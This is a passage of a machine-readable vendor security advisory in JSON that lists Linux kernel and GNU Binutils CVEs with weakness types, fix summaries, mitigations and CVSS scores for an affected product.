R08: ffffffff817f0a4c R09: 1ffff92000775e50\nR10: dffffc0000000000 R11: fffff52000775e51 R12: 0000000000000140\nR13: ffff88807a1d5800 R14: ffff88807a1d5810 R15: 0000000000000014\nFS:  00007fa03261f6c0(0000) GS:ffff8880b8600000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007ffd65753000 CR3: 0000000031720000 CR4: 00000000003526f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n \u003cTASK\u003e\n  skb_push+0xe5/0x100 net/core/skbuff.c:2636\n  vlan_get_tci+0x272/0x550 net/packet/af_packet.c:565\n  packet_recvmsg+0x13c9/0x1ef0 net/packet/af_packet.c:3616\n  sock_recvmsg_nosec net/socket.c:1044 [inline]\n  sock_recvmsg+0x22f/0x280 net/socket.c:1066\n  ____sys_recvmsg+0x1c6/0x480 net/socket.c:2814\n  ___sys_recvmsg net/socket.c:2856 [inline]\n  do_recvmmsg+0x426/0xab0 net/socket.c:2951\n  __sys_recvmmsg net/socket.c:3025 [inline]\n  __do_sys_recvmmsg net/socket.c:3048 [inline]\n  __se_sys_recvmmsg net/socket.c:3041 [inline]\n  __x64_sys_recvmmsg+0x199/0x250 net/socket.c:3041\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-57902"
    },
    {
      "cve": "CVE-2024-57913",
      "cwe": {
        "id": "CWE-362",
        "name": "Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nusb: gadget: f_fs: Remove WARN_ON in functionfs_bind",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.7,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-57913"
    },
    {
      "cve": "CVE-2024-57929",
      "cwe": {
        "id": "CWE-672",
        "name": "Operation on a Resource after Expiration or Release"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\ndm array: fix releasing a faulty array block twice in dm_array_cursor_end\r\n\r\nWhen dm_bm_read_lock() fails due to locking or checksum errors, it\r\nreleases the faulty block implicitly while leaving an invalid output\r\npointer behind. The caller of dm_bm_read_lock() should not operate on\r\nthis invalid dm_block pointer, or it will lead to undefined result.\r\nFor example, the dm_array_cursor incorrectly caches the invalid pointer\r\non reading a faulty array block, causing a double release in\r\ndm_array_cursor_end(), then hitting the BUG_ON in dm-bufio cache_put().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.7,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-57929"
    },
    {
      "cve": "CVE-2024-57940",
      "cwe": {
        "id": "CWE-835",
        "name": "Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "exfat: fix the infinite loop in exfat_readdir() If the file system is corrupted so that a cluster is linked to itself in the cluster chain, and there is an unused directory entry in the cluster, dentry will not be incremented, causing condition dentry \u003c max_dentries unable to prevent an infinite loop. This infinite loop causes s_lock not to be released, and other tasks will hang, such as exfat_sync_fs().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-57940"
    },
    {
      "cve": "CVE-2024-57948",
      "cwe": {
        "id": "CWE-119",
        "name": "Improper Restriction of Operations within the Bounds of a Memory Buffer"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nmac802154: check local interfaces before deleting sdata list\r\n\r\nsyzkaller reported a corrupted list in ieee802154_if_remove. [1]\r\n\r\nRemove an IEEE 802.15.4 network interface after unregister an IEEE 802.15.4\r\nhardware device from the system.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.7,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-57948"
    },
    {
      "cve": "CVE-2024-57951",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nhrtimers: Handle CPU state correctly on hotplug\n\nConsider a scenario where a CPU transitions from CPUHP_ONLINE to halfway\nthrough a CPU hotunplug down to CPUHP_HRTIMERS_PREPARE, and then back to\nCPUHP_ONLINE:\n\nSince hrtimers_prepare_cpu() does not run, cpu_base.hres_active remains set\nto 1 throughout. However, during a CPU unplug operation, the tick and the\nclockevents are shut down at CPUHP_AP_TICK_DYING. On return to the online\nstate, for instance CFS incorrectly assumes that the hrtick is already\nactive, and the chance of the clockevent device to transition to oneshot\nmode is also lost forever for the CPU, unless it goes back to a lower state\nthan CPUHP_HRTIMERS_PREPARE once.\n\nThis round-trip reveals another issue; cpu_base.online is not set to 1\nafter the transition, which appears as a WARN_ON_ONCE in enqueue_hrtimer().\n\nAside of that, the bulk of the per CPU state is not reset either, which\nmeans there are dangling pointers in the worst case.\n\nAddress this by adding a corresponding startup() callback, which resets the\nstale per CPU state and sets the online flag.\n\n[ tglx: Make the new callback unconditionally available, remove the online\n  \tmodification in the prepare() callback and clear the remaining\n  \tstate in the starting callback instead of the prepare callback ]",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-57951"
    },
    {
      "cve": "CVE-2024-57977",
      "cwe": {
        "id": "CWE-667",
        "name": "Improper Locking"
      },
      "notes": [
        {
          "category": "summary",
          "text": "memcg: A soft lockup vulnerability in the product with about 56,000 tasks were in the OOM cgroup, it was traversing them when the soft lockup was triggered.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-57977"
    },
    {
      "cve": "CVE-2024-57979",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "pps: Fix a use-after-free",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-57979"
    },
    {
      "cve": "CVE-2024-57981",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "usb: xhci: NULL pointer dereference on certain command aborts. If a command is queued to the final usable TRB of a ring segment, the enqueue pointer is advanced to the subsequent link TRB and no further. If the command is later aborted, when the abort completion is handled the dequeue pointer is advanced to the first TRB of the next segment. If no further commands are queued, xhci_handle_stopped_cmd_ring() sees the ring pointers unequal and assumes that there is a pending command, so it calls xhci_mod_cmd_timer() which crashes if cur_cmd was NULL.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-57981"
    },
    {
      "cve": "CVE-2024-57986",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "HID: core: Fix assumption that Resolution Multipliers must be in Logical Collections",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-57986"
    },
    {
      "cve": "CVE-2024-58005",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "tpm: Change to kvalloc() in eventlog/acpi.c.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-58005"
    },
    {
      "cve": "CVE-2024-58009",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Bluetooth: L2CAP: handle NULL sock pointer in l2cap_sock_alloc",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-58009"
    },
    {
      "cve": "CVE-2024-58014",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "wifi: brcmsmac: add gain range check to wlc_phy_iqcal_gainparams_nphy()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.0,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-58014"
    },
    {
      "cve": "CVE-2024-58016",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "safesetid: check size of policy writes",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-58016"
    },
    {
      "cve": "CVE-2024-58017",
      "cwe": {
        "id": "CWE-190",
        "name": "Integer Overflow or Wraparound"
      },
      "notes": [
        {
          "category": "summary",
          "text": "printk: Fix signed integer overflow when defining LOG_BUF_LEN_MAX",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-58017"
    },
    {
      "cve": "CVE-2024-58020",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "HID: multitouch: Add NULL check in mt_input_configured",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-58020"
    },
    {
      "cve": "CVE-2024-58051",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "ipmi: ipmb: Add check devm_kasprintf() returned value",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-58051"
    },
    {
      "cve": "CVE-2024-58058",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "ubifs: skip dumping tnc tree when zroot is null",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-58058"
    },
    {
      "cve": "CVE-2024-58063",
      "cwe": {
        "id": "CWE-401",
        "name": "Missing Release of Memory after Effective Lifetime"
      },
      "notes": [
        {
          "category": "summary",
          "text": "wifi: rtlwifi: fix memory leaks and invalid access at probe error path",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-58063"
    },
    {
      "cve": "CVE-2024-58071",
      "cwe": {
        "id": "CWE-667",
        "name": "Improper Locking"
      },
      "notes": [
        {
          "category": "summary",
          "text": "team: prevent adding a device which is already a team device lower",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-58071"
    },
    {
      "cve": "CVE-2024-58072",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "wifi: rtlwifi: remove unused check_buddy_priv",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.4,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-58072"
    },
    {
      "cve": "CVE-2024-58085",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "tomoyo: don\u0027t emit warning in tomoyo_write_control()",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-58085"
    },
    {
      "cve": "CVE-2025-3198",
      "cwe": {
        "id": "CWE-401",
        "name": "Missing Release of Memory after Effective Lifetime"
      },
      "notes": [
        {
          "category": "summary",
          "text": "A vulnerability has been found in GNU Binutils 2.43/2.44 and classified as problematic. Affected by this vulnerability is the function display_info of the file binutils/bucomm.c of the component objdump. The manipulation leads to memory leak. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. The patch is named ba6ad3a18cb26b79e0e3b84c39f707535bbc344d. It is recommended to apply a patch to fix this issue.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 3.3,
            "baseSeverity": "LOW",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-3198"
    },
    {
      "cve": "CVE-2025-5244",
      "cwe": {
        "id": "CWE-119",
        "name": "Improper Restriction of Operations within the Bounds of a Memory Buffer"
      },
      "notes": [
        {
          "category": "summary",
          "text": "A vulnerability was found in GNU Binutils up to 2.44. It has been rated as critical. Affected by this issue is the function elf_gc_sweep of the file bfd/elflink.c of the component ld. The manipulation leads to memory corruption. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. Upgrading to version 2.45 is able to address this issue. It is recommended to upgrade the affected component.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2025-5244"
    },
    {
      "cve": "CVE-2025-5245",
      "cwe": {
        "id": "CWE-119",
        "name": "Improper Restriction of Operations within the Bounds of a Memory Buffer"
      },
      "notes": [
        {
          "category": "summary",
          "text": "A vulnerability classified as critical has been found in GNU Binutils up to 2.44. This affects the function debug_type_samep of the file /binutils/debug.c of the component objdump. The manipulation leads to memory corruption. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.3,
